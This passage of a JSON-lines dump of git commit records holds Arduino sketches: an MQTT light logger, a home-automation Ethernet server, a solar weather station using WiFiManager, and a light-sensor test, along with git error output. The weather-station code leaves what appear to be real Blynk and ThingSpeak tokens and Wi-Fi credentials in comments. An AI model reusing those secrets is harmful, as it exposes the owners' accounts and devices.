Serial.println(topic);\n for(int i =0; i<length; i++){\n Serial.print((char)payload[i]);\n } \n Serial.println();\n}\n\nvoid setup() {\n \/\/Initialize serial and wait for port to open:\n Serial.begin(9600);\n\n \/\/ Initialize CC3000 (configure SPI communications)\n if ( wifi.init() ) {\n Serial.println(F(\"CC3000 initialization complete\"));\n } else {\n Serial.println(F(\"Something went wrong during CC3000 init!\"));\n while(1);\n }\n\n}\n\nvoid loop() {\n \/\/we need to call loop for the mqtt library to do its thing and send\/receive our messages\n if(skynet.loop()){\n \n \/\/Lets log some data every time through the loop!\n \/\/create a json string like \"light\":122\n \/\/don't forget to escape those quotes!\n \/\/here we grab whatever is hooked up to A0\n String messageString = \"{\\\"light\\\":\"+ String(int(analogRead(A0))) + \"}\";\n \n \/\/housekeeping to turn our string into a character array\n char message[messageString.length()+1];\n messageString.toCharArray(message, messageString.length()+1);\n \n \/\/Send away! The logging endpoint is called 'data'\n skynet.publish(\"data\",message);\n \n \/\/small delay here so we dont send too many mesages\n \/\/but avoid delays and long running code, we need to let loop do its work!\n delay(1000);\n }else\n {\n \/\/oops we're not connected yet or we lost connection\n Serial.println(F(\"connecting...\"));\n\n \/\/ attempt to connect to Wifi network:\n if(wifi.connect(ssid, ap_security, pass, timeout)) {\n\n \/\/ connect to skynet -- skynet doesnt use client so send empty client string and YOUR UUID and token\n if (skynet.connect(\"\", UUID, TOKEN)){\n\n \/\/success!\n Serial.println(F(\"connected\"));\n\n \/\/you need to subscribe to your uuid to get messages for you\n skynet.subscribe(UUID);\n \n \/\/Lets send a message! give the destination and payload in a json object\n \/\/{\"devices\":\"26ce1ac8-2133-4faa-bcb9-3548fesindex\",\"payload\":\"hi!\"}\n \/\/don't forget to escape those quotes!\n \/\/also note the wifi shield has a character limit of like 80 so stay below that\n String messageString = \"{\\\"devices\\\":\\\"\" + String(TOUUID) + \"\\\",\\\"payload\\\":\\\"hi!\\\"}\" ;\n \n \/\/housekeeping to turn our string into a character array\n char message[messageString.length()+1];\n messageString.toCharArray(message, messageString.length()+1);\n \n \/\/Send away! The device to device endpoint is called 'message'\n skynet.publish(\"message\",message);\n }\n\n }else\n {\n Serial.print(F(\"couldnt connect to: \"));\n Serial.println(ssid);\n }\n } \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/skynetim_mqtt_cc3000\/skynetim_mqtt_cc3000.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9adc4aa264ddc8206f725f9c54180f352562bbcd","subject":"Added code for Arduino server","message":"Added code for Arduino server\n\nVery early version but works!\n","repos":"jjuhala\/HomeHub,jjuhala\/HomeHub,jjuhala\/HomeHub","old_file":"Arduino\/Arduino_HomeHub_Server\/Arduino_HomeHub_Server.ino","new_file":"Arduino\/Arduino_HomeHub_Server\/Arduino_HomeHub_Server.ino","new_contents":"\/*\n ---| Arduino Server for HomeHub home automation system |---\n \n Very early code.\n Author: Janne Juhala, http:\/\/jjj.fi\/\n Date: 11th March 2014\n *\/\n \n \n#include <SPI.h>\n#include <Ethernet.h>\n#include <VirtualWire.h>\n#undef int\n#undef abs\n#undef double\n#undef float\n#undef round\n#define BUFSIZ 100\n\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress ip(192, 168, 1, 200);\nEthernetServer server(9999); \nbyte gateway[] = { 192, 168, 1, 1 };\nbyte subnet[] = { 255, 255, 255, 0 };\nvoid setup()\n{\n Ethernet.begin(mac, ip, gateway, subnet);\n server.begin();\n Serial.begin(9600);\n vw_set_ptt_inverted(true);\n vw_set_tx_pin(6);\n vw_set_rx_pin(7);\n vw_setup(1000);\n vw_rx_start();\n}\n\nvoid loop()\n{\n char clientline[BUFSIZ];\n int index = 0;\n EthernetClient client = server.available(); \n if (client) {\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n if (client.available()) {\n char c = client.read();\n \n \n \/\/ Add the character to the buffer if it's not new line\n if (c != '\\n' && c != '\\r') {\n clientline[index] = c;\n index++;\n \n \/\/ ignore data if it's over buffer size\n if (index >= BUFSIZ) {\n index = BUFSIZ -1;\n }\n \n \/\/ read more\n continue;\n }\n \n \/\/ got new line -> string is done\n clientline[index] = 0;\n \n \n if (strstr(clientline, \"GET \/ \") != 0) {\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println();\n client.println(\"ERROR|EmptyRequest\");\n } else if (strstr(clientline, \"GET \/\") != 0) {\n char *filename;\n filename = clientline + 5;\n (strstr(clientline, \" HTTP\"))[0] = 0;\n processReq(filename);\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/plain\");\n client.println();\n client.println(\"OK|ProcessedCmd\");\n \/\/client.println(filename);\n } else {\n \/\/ everything else is a 404\n client.println(\"HTTP\/1.1 404 Not Found\");\n client.println(\"Content-Type: text\/html\");\n client.println();\n client.println(\"<h2>404<\/h2>\");\n }\n break;\n \n } \/\/ if (client.available())\n } \/\/ while (client.connected())\n delay(1);\n client.stop();\n } \/\/ if (client)\n}\n\n\nvoid processReq(String req) {\n Serial.println(req);\n char convBuf[100];\n req.toCharArray(convBuf,100);\n char *str;\n char *p = convBuf;\n while ((str = strtok_r(p, \";\", &p)) != NULL) {\n Serial.println(str);\n const char*semesg = str;\n vw_send((uint8_t *)str, strlen(str));\n vw_wait_tx();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Arduino_HomeHub_Server\/Arduino_HomeHub_Server.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"03913d0056c42bd6f726e03b601f9d39853394aa","subject":"MAJ Moteur Asservissement Update monMain.ino avec les fonctions square, loop et setup","message":"MAJ Moteur Asservissement\nUpdate monMain.ino avec les fonctions square, loop et setup\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module moteur\/Software\/Asservissement\/monMain\/monMain.ino","new_file":"Module moteur\/Software\/Asservissement\/monMain\/monMain.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'moteur\/Software\/Asservissement\/monMain\/monMain.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cba4470d23dc1a3ba36062181457decafc9f8f06","subject":"New and improved sloshing!","message":"New and improved sloshing!\n","repos":"tectronics\/turbull-encabulator,tectronics\/turbull-encabulator,tectronics\/turbull-encabulator","old_file":"Encabulator\/examples\/SloshingColors\/SloshingColors.ino","new_file":"Encabulator\/examples\/SloshingColors\/SloshingColors.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tectronics\/turbull-encabulator.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"fc703c4274da428b40b4265fbfe4a2b8e68c83e1","subject":"End of day push 7\/10\/2014","message":"End of day push 7\/10\/2014\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d8968a482746323c9b6bce0fbfd3dd2b92ba49de","subject":"ajout bibliotheque stepper","message":"ajout bibliotheque stepper\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement.ino","new_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Pince\/Moteur_deplacement\/Moteur_deplacement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c1d323b5653efbe14748a75f37ce5f196215208c","subject":"Create Solar-Weather-Station-V2.0-wifi_mgr.ino","message":"Create Solar-Weather-Station-V2.0-wifi_mgr.ino","repos":"chancsc\/SC_SmartThings,chancsc\/SC_SmartThings","old_file":"Weather_Station\/Solar-Weather-Station-V2.0-wifi_mgr.ino","new_file":"Weather_Station\/Solar-Weather-Station-V2.0-wifi_mgr.ino","new_contents":"\/\/----------------------------------------------------------------------------------------------------\n\/\/ Project Name : Solar Powered WiFi Weather Station V2.0\n\/\/ Authors: Keith Hungerford and Debasish Dutta\n\/\/ Website : www.opengreenenergy.com\n\/\/ This code is derived from the example code of farmerkeith_BMP280.h library \n\/\/ Download the library from https:\/\/github.com\/farmerkeith\/BMP280-library\n\/\/ Main microcontroller (ESP8266) and BME280 both sleep between measurements\n\/\/ BME280 is used in single shot mode (\"forced mode\")\n\/\/ Measurement read command is delayed,\n\/\/ By repeatedly checking the \"measuring\" bit of status register (0xF3) until ready\n\n\/\/ Last updated on 12\/02\/2019\n\n\/\/ Features : \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/* \n1. Connect to Wi-Fi, and upload the data to either Blynk App or Thingspeak\n2. Monitoring Weather parameters like Temperature, Pressure, Humidity and Altitude.\n3. Extra Ports to add more Weather Sensors like UV Index, Light and Rain Guage etc.\n4. Remote Battery Status Monitoring\n5. V2.0 Using Sleep mode to reduce the energy consumed\n6. v2.2 Modify to add GY-1145 UV sensor & DHT22 & do it as option in code (CSC)\n7. v2.2 Add tzapu\/WifiManger, allow user to enter Blynk authentication code or Thinkspeak API,\n only allow to enter either one, if both detected, only use the Blynk\n\n*\/\n\n\/\/ Todo\n\/\/ add OTA function\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <FS.h> \/\/this needs to be first, or it all crashes and burns...\n#include <ESP8266WiFi.h> \/\/ do we need this? Not when using Blynk\n#include <DNSServer.h> \/\/Local DNS Server used for redirecting all requests to the configuration portal\n#include <WiFiManager.h> \/\/https:\/\/github.com\/tzapu\/WiFiManager WiFi Configuration Magic\n#include <Wire.h>\n#include <farmerkeith_BMP280.h> \/\/ library, download from https:\/\/github.com\/farmerkeith\/BMP280-library\n#include <ArduinoJson.h> \/\/https:\/\/github.com\/bblanchon\/ArduinoJson\n\n\n\/\/ configuration constants\nconst bool bme280Debug = 0; \/\/ controls serial printing\n\/\/ set to 1 to enable printing of BME280 or BMP280 transactions\n\n\/\/ configure period between reports\nconst long measurementInterval = 30000; \/\/ measurement interval in ms\n\n\/\/ for UV index\nconst bool UVSensor = false;\n#include \"Adafruit_SI1145.h\" \/\/ for UV index\nAdafruit_SI1145 uv = Adafruit_SI1145(); \/\/ create object for UVSensor \n\n\/\/ configuration control- either Blynk or Thingspeak\nString App = \"\"; \/\/Enable based on value (Blynk authentication code or ThinkSpeak Api Key enter by user)\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <BlynkSimpleEsp8266.h>\n\nbme280 bme0 (0, bme280Debug) ; \/\/ creates object bme0 of type bme280, base address, or BMP280\n\n\/\/ for DHT22\nconst bool dht22Sensor = false; \/\/ needed when using BMP280, BMP280 don't have humidity info\n#include \"DHT.h\"\n#define DHTPIN D5\n#define DHTTYPE DHT22\nDHT dht(DHTPIN, DHTTYPE); \/\/ create object for DHT22\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\n\/\/char auth[] = \"xjxF_yDIgT-bAycS4O9C5D34OAMy80jC\"; \/\/ copy it from the mail received from Blynk\n\/\/ Your WiFi credentials.\n\/\/ Set password to \"\" for open networks.\n\/\/char ssid[] = \"dongdaemum\"; \/\/ WiFi Router ssid\n\/\/char pass[] = \"1111111111\"; \/\/ WiFi Router password\n\n\/\/ Thingspeak Write API\nconst char* server = \"api.thingspeak.com\";\n\/\/const char* api_key = \"ORD0O2X41I3KSRAF\"; \/\/ API write key \n\n\/\/define your default values here, if there are different values in config.json, they are overwritten.\nchar Blynk_Token[33] = \"\";\nchar ThinkSpeak_Api_Key[17] = \"\";\n\n\/\/flag for saving data using wifi manager page\nbool shouldSaveConfig = false;\n\nfloat UVindex = 0;\nfloat Vis = 0;\nfloat IR = 0;\n\nfloat h = 0; \/\/humidity\nfloat t = 0; \/\/temperature in C\nfloat f = 0; \/\/temperature in F\n\nfloat hif = 0; \/\/ Compute heat index in Fahrenheit\nfloat hic = 0; \/\/ Compute heat index in Celsius\n\n#include \"PTHsleep.h\" \/\/ tab file\n\n\/\/WiFiServer server(serverPort); \/\/server\nWiFiClient client; \/\/client\nString readString;\n\n\/\/callback notifying us of the need to save config\nvoid saveConfigCallback () {\n Serial.println(\"Should save config\");\n shouldSaveConfig = true;\n}\n\nvoid setup() {\n Serial.begin(115200);\n \/\/ Serial.begin(9600); \/\/ use this if you get errors with the faster rate\n Serial.println(\"\\nStart of Solar WiFi Weather Station V2.2\");\n\n \/\/read from FS\n readFS();\n\n \/\/connect to wifi\n wificonnect();\n\n byte temperatureSamples = pow(2, osrs_t - 1);\n byte pressureSamples = pow(2, osrs_p - 1);\n byte humiditySamples = pow(2, osrs_h - 1);\n\n \/\/ Wire.begin(); \/\/ initialise I2C protocol - not needed here since it is in bmp library\n bme0.begin(osrs_t, osrs_p, 1, 0, 0, 0, osrs_h);\n \/\/ parameters are (osrs_t, osrs_p, mode, t_sb, filter, spi3W_en, osrs_h)\n \/\/ see BME280 data sheet for definitions\n \/\/ this is single shot mode with no filtering\n\n measurementEvent();\n\n \/\/ eventCounter ++;\n \/\/ saveCounter(eventCounter); \/\/ this also puts bme0 to sleep\n bme0.updateF4Control16xSleep(); \/\/ use instead of saveCounter if counter is not required\n goToSleep();\n} \/\/ end of void setup()\n\n\nvoid loop() {\n} \/\/ end of void loop()\n\n\/\/gets called when WiFiManager enters configuration mode\nvoid configModeCallback (WiFiManager *myWiFiManager) {\n Serial.println(\"Entered config mode\");\n Serial.println(WiFi.softAPIP());\n \/\/if you used auto generated SSID, print it\n Serial.println(myWiFiManager->getConfigPortalSSID());\n\/\/ \/\/entered config mode, make led toggle faster\n\/\/ ticker.attach(0.2, tick);\n}\n\nvoid readFS(){\n \/\/read configuration from FS json\n Serial.println(\"mounting FS...\");\n\n if (SPIFFS.begin()) {\n Serial.println(\"mounted file system\");\n if (SPIFFS.exists(\"\/config.json\")) {\n \/\/file exists, reading and loading\n Serial.println(\"reading config file\");\n File configFile = SPIFFS.open(\"\/config.json\", \"r\");\n if (configFile) {\n Serial.println(\"opened config file\");\n size_t size = configFile.size();\n \/\/ Allocate a buffer to store contents of the file.\n std::unique_ptr<char[]> buf(new char[size]);\n\n configFile.readBytes(buf.get(), size);\n DynamicJsonBuffer jsonBuffer;\n JsonObject& json = jsonBuffer.parseObject(buf.get());\n json.printTo(Serial);\n if (json.success()) {\n Serial.println(\"\\nparsed json\");\n strcpy(Blynk_Token, json[\"Blynk_Token\"]);\n strcpy(ThinkSpeak_Api_Key, json[\"ThinkSpeak_Api_Key\"]);\n\n } else {\n Serial.println(\"failed to load json config\");\n }\n configFile.close();\n }\n }\n } else {\n Serial.println(\"failed to mount FS\");\n }\n \/\/end read\n}\n\nvoid wificonnect(){\n\/\/ \/\/set led pin as output\n\/\/ pinMode(BUILTIN_LED, OUTPUT);\n\/\/ \/\/ start ticker with 0.5 because we start in AP mode and try to connect\n\/\/ ticker.attach(0.6, tick);\n\n \/\/ The extra parameters to be configured (can be either global or just in the setup)\n \/\/ After connecting, parameter.getValue() will get you the configured value\n \/\/ id\/name placeholder\/prompt default length\n WiFiManagerParameter custom_Blynk_Token(\"Blynk\", \"Blynk Authentication Token\", Blynk_Token, 33);\n WiFiManagerParameter custom_ThinkSpeak_Api_Key(\"ThinkSpeak\", \"ThinkSpeak Api Key\", ThinkSpeak_Api_Key, 17);\n\n \/\/WiFiManager\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n WiFiManager wifiManager;\n\n \/\/set config save notify callback\n wifiManager.setSaveConfigCallback(saveConfigCallback);\n\n \/\/add all your parameters here\n wifiManager.addParameter(&custom_Blynk_Token);\n wifiManager.addParameter(&custom_ThinkSpeak_Api_Key);\n\n \/\/set callback that gets called when connecting to previous WiFi fails, and enters Access Point mode\n wifiManager.setAPCallback(configModeCallback);\n\n \/\/timeout - this will quit WiFiManager if it's not configured in 3 minutes, causing a restart\n wifiManager.setConfigPortalTimeout(180);\n\n if (!wifiManager.autoConnect(\"Weather Station\", \"configme\")) {\n Serial.println(\"failed to connect and hit timeout\");\n \/\/reset and try again, or maybe put it to deep sleep\n ESP.reset();\n delay(1000);\n }\n\n Serial.println(\"Wifi Connected\");\n\n \/\/read updated parameters\n strcpy(Blynk_Token, custom_Blynk_Token.getValue());\n strcpy(ThinkSpeak_Api_Key, custom_ThinkSpeak_Api_Key.getValue());\n\n if (strlen(Blynk_Token) == 0 && strlen(ThinkSpeak_Api_Key) == 0) {\n Serial.println(\"Failed to get Blynk Token or ThinkSpeak Api Key from FS, go back to setup mode..\");\n wifiManager.resetSettings();\n ESP.reset();\n delay(1000);\n }\n \n \/\/save the custom parameters to FS\n if (shouldSaveConfig) {\n Serial.println(\"saving config\");\n DynamicJsonBuffer jsonBuffer;\n JsonObject& json = jsonBuffer.createObject();\n json[\"Blynk_Token\"] = Blynk_Token;\n json[\"ThinkSpeak_Api_Key\"] = ThinkSpeak_Api_Key;\n\n File configFile = SPIFFS.open(\"\/config.json\", \"w\");\n if (!configFile) {\n Serial.println(\"failed to open config file for writing\");\n }\n\n json.printTo(Serial);\n json.printTo(configFile);\n configFile.close();\n \/\/end save\n }\n\n if (strlen(Blynk_Token) > 0) {\n App = \"Blynk\";\n \n \/\/configure blynk\n delay(1000);\n Blynk.config(Blynk_Token);\n bool result = Blynk.connect(180);\n if (result != true) {\n Serial.println(\"Blynk Connection Fail\");\n \/\/needs testing on whether this line should be commented out:\n \/\/wifiManager.resetSettings();\n ESP.reset();\n delay (100);\n }\n else {\n Serial.println(\"Blynk Connected\");\n }\n\n \/\/Connect to blynk using an already-open internet connection and preset configuration\n if(!Blynk.connect()) {\n Serial.println(\"Blynk connection timed out.\");\n ESP.reset();\n delay (100);\n }\n \n Blynk.run();\n \n }\n else if (strlen(ThinkSpeak_Api_Key) > 0) {\n App = \"Thingspeak\";\n }\n\n Serial.print(\"App = \");\n Serial.println(App);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Weather_Station\/Solar-Weather-Station-V2.0-wifi_mgr.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1ba08dd0ae83128c3574bfef3e198e8cac31f9e7","subject":"Test for photoresistor on sensor board made in class.","message":"Test for photoresistor on sensor board made in class.\n","repos":"fkmclane\/derailleurs,fkmclane\/derailleurs,fkmclane\/derailleurs","old_file":"tinkering\/sensorboard\/light_sensor_check\/light_sensor_check.ino","new_file":"tinkering\/sensorboard\/light_sensor_check\/light_sensor_check.ino","new_contents":"\n#define LED P1_3\n#define Sensor P1_4\n\nfloat reading;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n Serial.begin(9600);\n\n pinMode(LED, OUTPUT);\n\n pinMode(Sensor, INPUT);\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly: \n\n \/\/ Turn on LED\n digitalWrite(LED, HIGH);\n\n \/\/ Read sensor\n int i;\n for (i=1;i<10;i++) {\n reading = analogRead(Sensor);\n Serial.print(reading);\n Serial.print(\",\\n\");\n delay(100);\n }\n\n \/\/ Turn on LED\n digitalWrite(LED, LOW);\n\n for (i=1;i<10;i++) {\n reading = analogRead(Sensor);\n Serial.print(reading);\n Serial.print(\",\\n\");\n delay(100);\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tinkering\/sensorboard\/light_sensor_check\/light_sensor_check.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"14938df6628e5a3282a009db64f615cc9c8ac329","subject":"Small improvement","message":"Small improvement\n","repos":"frofro1964\/Arduino-Auto-Gauge","old_file":"grahams' test code\/game\/game.ino","new_file":"grahams' test code\/game\/game.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: Unterminated quoted string\n","license":"apache-2.0","lang":"Arduino"} {"commit":"da91b7130bdd4803d3536a635cf20d4ed5854831","subject":"Refactoring","message":"Refactoring\n","repos":"bitbitbitbitbitbitbitbit\/LineFollowing,bitbitbitbitbitbitbitbit\/LineFollowing","old_file":"PC104\/receive_from_matlab\/receive_from_matlab.ino","new_file":"PC104\/receive_from_matlab\/receive_from_matlab.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitbitbitbitbitbitbitbit\/LineFollowing.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dbd001a776d001cead33d6bd6d98314e8317188c","subject":"Added example BridgeNew","message":"Added example BridgeNew\n","repos":"niggor\/Arduino_cc,paulmand3l\/Arduino,me-no-dev\/Arduino-1,danielchalef\/Arduino,adamkh\/Arduino,jmgonzalez00449\/Arduino,SmartArduino\/Arduino-1,mboufos\/esp8266-Arduino,laylthe\/Arduino,piersoft\/esp8266-Arduino,sanyaade-iot\/Arduino-1,andyvand\/Arduino-1,bsmr-arduino\/Arduino,paulo-raca\/ESP8266-Arduino,mattvenn\/Arduino,ogahara\/Arduino,koltegirish\/Arduino,wayoda\/Arduino,fungxu\/Arduino,NicoHood\/Arduino,gurbrinder\/Arduino,Chris--A\/Arduino,wdoganowski\/Arduino,nandojve\/Arduino,karlitxo\/Arduino,eeijcea\/Arduino-1,mc-hamster\/esp8266-Arduino,tommyli2014\/Arduino,adamkh\/Arduino,myrtleTree33\/Arduino,wilhelmryan\/Arduino,gonium\/Arduino,andyvand\/Arduino-1,NicoHood\/Arduino,laylthe\/Arduino,onovy\/Arduino,OpenDevice\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,majenkotech\/Arduino,sanyaade-iot\/Arduino-1,zaiexx\/Arduino,NicoHood\/Arduino,OpenDevice\/Arduino,EmuxEvans\/Arduino,jaej-dev\/Arduino,ntruchsess\/Arduino-1,wayoda\/Arduino,mangelajo\/Arduino,Gourav2906\/Arduino,myrtleTree33\/Arduino,rcook\/DesignLab,mateuszdw\/Arduino,eduardocasarin\/Arduino,probonopd\/Arduino,wdoganowski\/Arduino,ikbelkirasan\/Arduino,garci66\/Arduino,EmuxEvans\/Arduino,majenkotech\/Arduino,NaSymbol\/Arduino,mateuszdw\/Arduino,plaintea\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,lukeWal\/Arduino,andrealmeidadomingues\/Arduino,pdNor\/Arduino,koltegirish\/Arduino,lulufei\/Arduino,scdls\/Arduino,zenmanenergy\/Arduino,gberl001\/Arduino,laylthe\/Arduino,NaSymbol\/Arduino,eduardocasarin\/Arduino,noahchense\/Arduino-1,shannonshsu\/Arduino,ashwin713\/Arduino,EmuxEvans\/Arduino,arduino-org\/Arduino,Protoneer\/Arduino,toddtreece\/esp8266-Arduino,ccoenen\/Arduino,jabezGit\/Arduino,fungxu\/Arduino,stevemarple\/Arduino-org,majenkotech\/Arduino,vbextreme\/Arduino,jomolinare\/Arduino,tommyli2014\/Arduino,UDOOboard\/Arduino,arduino-org\/Arduino,gberl001\/Arduino,smily77\/Arduino,raimohanska\/Arduino,damellis\/Arduino,damellis\/Arduino,stevemarple\/Arduino-org,eduardocasarin\/Arduino,noahchense\/Arduino-1,scdls\/Arduino,vbextreme\/Arduino,ogferreiro\/Arduino,tommyli2014\/Arduino,UDOOboard\/Arduino,ogahara\/Arduino,smily77\/Arduino,steamboating\/Arduino,PaoloP74\/Arduino,SmartArduino\/Arduino-1,bsmr-arduino\/Arduino,tskurauskas\/Arduino,gestrem\/Arduino,tannewt\/Arduino,weera00\/Arduino,gonium\/Arduino,jaej-dev\/Arduino,eggfly\/arduino,shiitakeo\/Arduino,drpjk\/Arduino,OpenDevice\/Arduino,Chris--A\/Arduino,acosinwork\/Arduino,me-no-dev\/Arduino-1,zederson\/Arduino,nkolban\/Arduino,stevemayhew\/Arduino,stickbreaker\/Arduino,acosinwork\/Arduino,mattvenn\/Arduino,PaoloP74\/Arduino,zederson\/Arduino,niggor\/Arduino_cc,mateuszdw\/Arduino,jaej-dev\/Arduino,zaiexx\/Arduino,HCastano\/Arduino,piersoft\/esp8266-Arduino,koltegirish\/Arduino,scdls\/Arduino,niggor\/Arduino_cc,eddyst\/Arduino-SourceCode,mboufos\/esp8266-Arduino,noahchense\/Arduino-1,SmartArduino\/Arduino-1,ssvs111\/Arduino,radut\/Arduino,nandojve\/Arduino,damellis\/Arduino,ikbelkirasan\/Arduino,gonium\/Arduino,drpjk\/Arduino,OpenDevice\/Arduino,wilhelmryan\/Arduino,toddtreece\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,raimohanska\/Arduino,bigjosh\/Arduino,nandojve\/Arduino,HCastano\/Arduino,arduino-org\/Arduino,ikbelkirasan\/Arduino,bsmr-arduino\/Arduino,snargledorf\/Arduino,UDOOboard\/Arduino,wayoda\/Arduino,tannewt\/Arduino,mc-hamster\/esp8266-Arduino,Gourav2906\/Arduino,plinioseniore\/Arduino,jaimemaretoli\/Arduino,stevemarple\/Arduino-org,eddyst\/Arduino-SourceCode,steamboating\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Gourav2906\/Arduino,piersoft\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,kidswong999\/Arduino,HCastano\/Arduino,tbowmo\/Arduino,ikbelkirasan\/Arduino,stevemayhew\/Arduino,bsmr-arduino\/Arduino,me-no-dev\/Arduino-1,andrealmeidadomingues\/Arduino,gonium\/Arduino,pdNor\/Arduino,bsmr-arduino\/Arduino,tbowmo\/Arduino,koltegirish\/Arduino,ccoenen\/Arduino,sanyaade-iot\/Arduino-1,Cloudino\/Arduino,adafruit\/ESP8266-Arduino,weera00\/Arduino,ogferreiro\/Arduino,weera00\/Arduino,tomkrus007\/Arduino,jaimemaretoli\/Arduino,PaoloP74\/Arduino,jamesrob4\/Arduino,tomkrus007\/Arduino,lukeWal\/Arduino,fungxu\/Arduino,danielchalef\/Arduino,arduino-org\/Arduino,jabezGit\/Arduino,ashwin713\/Arduino,bigjosh\/Arduino,myrtleTree33\/Arduino,smily77\/Arduino,leftbrainstrain\/Arduino-ESP8266,snargledorf\/Arduino,arduino-org\/Arduino,piersoft\/esp8266-Arduino,mattvenn\/Arduino,shiitakeo\/Arduino,adamkh\/Arduino,eggfly\/arduino,plinioseniore\/Arduino,mattvenn\/Arduino,chaveiro\/Arduino,byran\/Arduino,spapadim\/Arduino,jmgonzalez00449\/Arduino,chaveiro\/Arduino,xxxajk\/Arduino-1,talhaburak\/Arduino,mc-hamster\/esp8266-Arduino,jamesrob4\/Arduino,mangelajo\/Arduino,rcook\/DesignLab,ccoenen\/Arduino,jomolinare\/Arduino,plaintea\/esp8266-Arduino,plinioseniore\/Arduino,acosinwork\/Arduino,mateuszdw\/Arduino,ntruchsess\/Arduino-1,mateuszdw\/Arduino,jaehong\/Xmegaduino,koltegirish\/Arduino,henningpohl\/Arduino,adafruit\/ESP8266-Arduino,wdoganowski\/Arduino,jaimemaretoli\/Arduino,gberl001\/Arduino,Gourav2906\/Arduino,kidswong999\/Arduino,fungxu\/Arduino,stevemayhew\/Arduino,vbextreme\/Arduino,talhaburak\/Arduino,eeijcea\/Arduino-1,plinioseniore\/Arduino,rcook\/DesignLab,plinioseniore\/Arduino,ari-analytics\/Arduino,gestrem\/Arduino,stevemayhew\/Arduino,Chris--A\/Arduino,Cloudino\/Arduino,tommyli2014\/Arduino,ricklon\/Arduino,andyvand\/Arduino-1,adafruit\/ESP8266-Arduino,Alfredynho\/AgroSis,bsmr-arduino\/Arduino,vbextreme\/Arduino,wayoda\/Arduino,benwolfe\/esp8266-Arduino,aichi\/Arduino-2,probonopd\/Arduino,Chris--A\/Arduino,spapadim\/Arduino,laylthe\/Arduino,aichi\/Arduino-2,ThoughtWorksIoTGurgaon\/Arduino,NaSymbol\/Arduino,ntruchsess\/Arduino-1,ari-analytics\/Arduino,m